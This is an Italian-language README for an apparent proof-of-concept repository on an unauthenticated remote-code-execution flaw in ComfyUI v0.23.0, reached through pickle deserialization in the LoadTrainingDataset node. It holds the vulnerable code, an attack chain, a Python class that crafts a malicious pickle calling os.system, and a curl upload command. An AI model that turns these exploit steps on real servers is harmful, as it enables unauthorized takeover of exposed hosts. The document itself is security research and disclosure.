oscar-collado/comfyui-cve-2026-68771-pocLaboratorio di ricerca sulla sicurezza — RCE non autenticato tramite deserializzazione insicura in ComfyUI v0.23.0 (CVSS 9.8). Ambiente Docker isolato, analisi tecnica e documentazione.
Solo a scopo didattico. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta esplicita per i test.
ComfyUI è un'interfaccia grafica open-source basata su nodi per l'esecuzione locale di modelli di generazione di immagini e video tramite AI. Consente agli utenti di costruire pipeline di generazione complesse collegando visivamente i nodi — ogni nodo rappresenta un'operazione come il caricamento di un modello, la codifica di prompt testuali, il campionamento o la post-elaborazione delle immagini. La sua flessibilità e il supporto per un'ampia gamma di modelli (Stable Diffusion, Flux, HunyuanVideo e altri) lo hanno reso uno degli strumenti più ampiamente adottati nella comunità di generazione AI.
L'applicazione espone un'API HTTP locale sulla porta 8188, attraverso la quale il frontend comunica con il backend per caricare asset e accodare workflow di generazione. Sebbene sia progettata per l'uso locale da parte di un singolo utente, è comune trovare istanze di ComfyUI esposte su reti interne o direttamente su Internet — in ambienti cloud con GPU, configurazioni di ricerca condivise o studi creativi self-hosted — spesso senza alcun livello di autenticazione aggiuntivo, corrispondendo esattamente al modello di minaccia preso di mira da questa vulnerabilità.
Al momento della divulgazione, ComfyUI aveva oltre 65.000 stelle su GitHub e un ecosistema attivo di nodi personalizzati ed estensioni, molti dei quali introducono ulteriore superficie di attacco oltre all'applicazione principale.
CVE-2026-68771 è una vulnerabilità di deserializzazione non sicura (CWE-502) in ComfyUI v0.23.0 che consente a un attaccante remoto non autenticato di eseguire codice arbitrario sul server. La catena di attacco combina due endpoint non autenticati: POST /upload/image per caricare un file pickle malevolo, e POST /prompt per attivarne la deserializzazione attraverso il nodo LoadTrainingDataset.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (Critico) |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserializzazione di dati non attendibili) |
| Versione vulnerabile | ComfyUI v0.23.0 (e precedenti senza la correzione) |
| Versione corretta | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| Pubblicato | 31 luglio 2026 |
weights_only)POST /upload/image — server.py, righe 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, righe 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
Nessuno dei due endpoint implementa alcun controllo di accesso. Qualsiasi client HTTP può caricare file e accodare workflow senza autenticazione.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, riga 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() senza weights_only=True utilizza il protocollo pickle di Python per deserializzare il file. Pickle non è un formato dati — è un protocollo di serializzazione di oggetti Python che esegue il metodo __reduce__ di qualsiasi oggetto durante la deserializzazione, consentendo l'esecuzione di codice arbitrario.
Il nodo si affidava al default storico di PyTorch (weights_only=False), rendendolo l'unica chiamata torch.load nell'intero codebase priva del parametro esplicito. Il resto del codebase (comfy/utils.py, comfy/sd1_clip.py) lo passava già correttamente.
Attaccante (non autenticato)
[0] CREAZIONE DEL PICKLE MALEVOLO
└─ Serializza un oggetto Python con __reduce__ che restituisce (os.system, ("cmd",))
└─ Il formato torch.save() di PyTorch lo avvolge in un contenitore .pkl valido
└─ Output: shard_0000.pkl — pattern di nome file valido atteso da LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Carica shard_0000.pkl (pickle con __reduce__ malevolo)
└─ Parametri: type=output, subfolder=cve_test
└─ Risposta: 200 OK {"name":"shard_0000.pkl", ...}
└─ Il file finisce in: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ Workflow JSON con il nodo LoadTrainingDataset
└─ folder_name: "cve_test" → punta alla cartella contenente il .pkl caricato
└─ Risposta: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Individua shard_0000.pkl nella directory
└─ torch.load(f) → deserializza il pickle
└─ __reduce__ esegue: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE come root
└─ uid=0(root) gid=0(root) groups=0(root)
Il payload sfrutta il protocollo reduce di pickle di Python. Quando torch.load() deserializza il file, Python istanzia l'oggetto chiamando il callable restituito da reduce, eseguendo il comando controllato dall'attaccante prima che venga eseguita qualsiasi logica dell'applicazione.
Il nome del file deve corrispondere al pattern shard_*.pkl — hardcoded in LoadTrainingDataset.execute() come filtro di scoperta dei file:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
Output:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
Risposta:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 senza token, senza sessione, senza header speciali.